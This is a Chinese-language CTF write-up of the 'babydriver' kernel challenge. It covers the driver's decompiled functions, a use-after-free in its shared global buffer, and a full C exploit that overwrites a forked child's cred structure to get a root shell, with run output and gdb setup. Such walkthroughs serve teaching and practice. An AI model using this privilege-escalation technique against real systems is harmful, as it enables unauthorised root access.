# ciscn_babydriver uaf, 修改自身的 cred

# 保护检查:

# qemu

1
2
3
4
5
dreamcat@ubuntu:~/Desktop/kernel/babydriver$ cat boot.sh 
#!/bin/bash

qemu-system-x86_64 -initrd fs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 128M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -s

没有开启地址随机化以及隔离保护

# 驱动文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

在这里我们看到他的驱动的位置是在 /lib/modules/4.4.72/babydriver.ko

1
2
3
4
5
6
7
dreamcat@ubuntu:~/Desktop/kernel/babydriver/lib/modules/4.4.72$ checksec babydriver.ko
[*] '/home/dreamcat/Desktop/kernel/babydriver/lib/modules/4.4.72/babydriver.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

# vmlinux

我们提取出来 vmlinux 后,extract-vmlinux bzImage > vmlinux

进行检查,发现保护什么也没有开。

1
2
3
4
5
6
7
8
9
dreamcat@ubuntu:~/Desktop/kernel/babydriver$ checksec vmlinux
[*] '/home/dreamcat/Desktop/kernel/babydriver/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments

# 题目分析

这是一道堆题

# init

我们 open 设备的时候,会默认调用这个函数,这里初始化了一些参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl babydriver_init()
{
__int64 v0; // rdx
int v1; // edx
__int64 v2; // rsi
__int64 v3; // rdx
int v4; // ebx
class *v5; // rax
__int64 v6; // rdx
__int64 v7; // rax

if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
cdev_init(&cdev_0, &fops);
v2 = babydev_no;
cdev_0.owner = &_this_module;
v4 = cdev_add(&cdev_0, babydev_no, 1LL);
if ( v4 >= 0 )
{
v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v5;
if ( v5 )
{
v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
v1 = 0;
if ( v7 )
return v1;
printk(&unk_351, 0LL, 0LL);
class_destroy(babydev_class);
}
else
{
printk(&unk_33B, "babydev", v6);
}
cdev_del(&cdev_0);
}
else
{
printk(&unk_327, v2, v3);
}
unregister_chrdev_region(babydev_no, 1LL);
return v4;
}
printk(&unk_309, 0LL, v0);
return 1;
}

# exit

同理,我们关闭设备的后会调用这个函数

1
2
3
4
5
6
7
void __cdecl babydriver_exit()
{
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_0);
unregister_chrdev_region(babydev_no, 1LL);
}

# babyopen

1
2
3
4
5
6
7
8
9
10
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 37748928LL, v2);
return 0;
}

申请了一个 buf 空间,大小为 0x40

# babyrelease

1
2
3
4
5
6
7
8
9
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}

# babyread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}

# babywrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}

# babyioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
__int64 result; // rax

_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 37748928LL, v5);
result = 0LL;
}
else
{
printk(&unk_2EB, v3, v3);
result = -22LL;
}
return result;
}

babyioct,会释放原本的 buf,然后重新申请一个,但是不会对空间的数据进行初始化,导致数据的泄露。v4 是一个固定的大下,在 init 中初始化为我蛮传入的第三个参数。

# 漏洞利用

ioctl 存在一个条件竞争,使用同一个全局变量 buf,类似用户态下的 uaf。新的进程会覆盖这个变量,那么我们可以将它释放,然后重新申请出来作为新的东西,但是我们仍旧可对其进行编辑。新的进程会创建 cred, 所以就可以让他将这个空间申请出来,然后我们对其进行编辑。

# 完整的 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

int main(int argc, char const **argv)
{

int fd1 = open("dev/babydev",O_RDWR);
int fd2 = open("dev/babydev",O_RDWR);
char buf[28] = {0};
//alloc a 0xa8 space to create a fake cred
printf("ppid %d, pid %d\n",getppid(),getpid());
ioctl(fd1,65537,0xa8);
close(fd1);
int fpid = fork(); //create a new proc as the same as now
printf("fpid is %d\n",fpid);
printf("ppid %d, pid %d\n",getppid(),getpid());
if(!fpid)
{
printf("ppid %d, pid %d\n",getppid(),getpid());
puts("right");
write(fd2,buf,28);
if(getuid()==0)
{
puts("welcome!\n");
system("/bin/sh");
return 0;
}
}
else if (fpid<0){
puts("error");
}
else{
puts("hello");
wait(NULL);

}
close(fd2);
return 0;
}

fork 会返回两个 id, 这也是 fork 的一个有意的东西,这里其实是一个类似递归的调用,当我们 fork 一个新的进程后,其申请出来的资源与我们的原本进程是几乎一样的,只有部分数据不一样。有一些师傅说,父进程与子进程的实行顺序是不一样的。但是我们预测大部分情况下使直接进入子进程,进入子进程后还会调用 fork,但是此时 fork 返回的是 0,也就是说不会再嵌套下去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
./exp
[ 3.998984] device open
[ 3.999759] device open
ppid 88, pid 90
[ 4.000779] alloc done
[ 4.001334] device release
fpid is 91
ppid 88, pid 90
hello
fpid is 0
ppid 90, pid 91
ppid 90, pid 91
right
welcome!

/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ # [ 101.861273] device release
/ $ [ 104.213209] ACPI: Preparing to enter system sleep state S5

一些师傅说,父进程与子进程的执行顺序会受到不同系统决策的影响。

以我的设备为例。我们启动 exp 的进程,pid 为 90,他的父进程的 id 为 88,fork 出来的进程,返回的 id 为 91. 下面进入 fork 了吗?我们看到 pid,和 ppid 没有变,说明我们并没有进入到子进程,当我们的这部分结束后,有直接进入了 fork 里,子进程里又会调用 fork, 但是此时返回的是 0。

# 打包

1
2
3
4
5
mkdir File_system
cp rootfs.cpio ./File_system/rootfs.cpio.gz
cd File_system
gunzip rootfs.cpio.gz
cpio -idmv < rootfs.cpio

上面是对文件系统的解包处理,下面的 pack.sh 会将我们写好的 exp 写入,后面启动的时候,我们可以把 pack.sh 写入 boot.sh

1
2
3
4
5
6
pack.sh
cd File_system
gcc exploit.c -static -o exp
find . | cpio -o --format=newc > ../rootfs.cpio
cd ../

# 调试

我们再启动的脚本里面,对 quem_system_x86_64 启用了人 - s,也就是说我们打开了一个默认的端口。我们也可以指定端口。

提取 vmlinux,需要使用 extract-vmlinux 脚本提取出带符号的源码

1
./extract-vmlinux ./bzImage > vmlinux

启动 gdb

1
2
gdb ./vmlinux -q
导入符号表,这里需要查看模块加载在内存中的真实地址,用boot.sh脚本运行之后输入命令lsmod即可
1
2
/ $ lsmod
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)

然后在 gdb 中输入

1
add-symbol-file **/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000

​ 两个参数分别为 babydriver.ko 在解包后的文件系统中的路径以及.text 段的地址。地址可以直接在 qemu 中查看:

在这里插入图片描述

添加远程执行参数,在 boot.sh 的 qemu 参数中添加

1
-gdb tcp::7777

gdb 连接程序,在 gdb 中执行命令

1
target remote 127.0.0.1:7777

# 相关的结构体

# cred

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
//总大小0xa8,一直到gid结束是28个字节

# 参考链接

https://blog.csdn.net/m0_38100569/article/details/100673103

https://www.z1r0.top/2021/10/29/kernel-pwn(二)基础知识 /# 实战

# 参考博客

https://www.z1r0.top/

https://arttnba3.cn/

https://ray-cp.github.io/category/ //ray 大佬写的很多知识的总结,很详尽

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal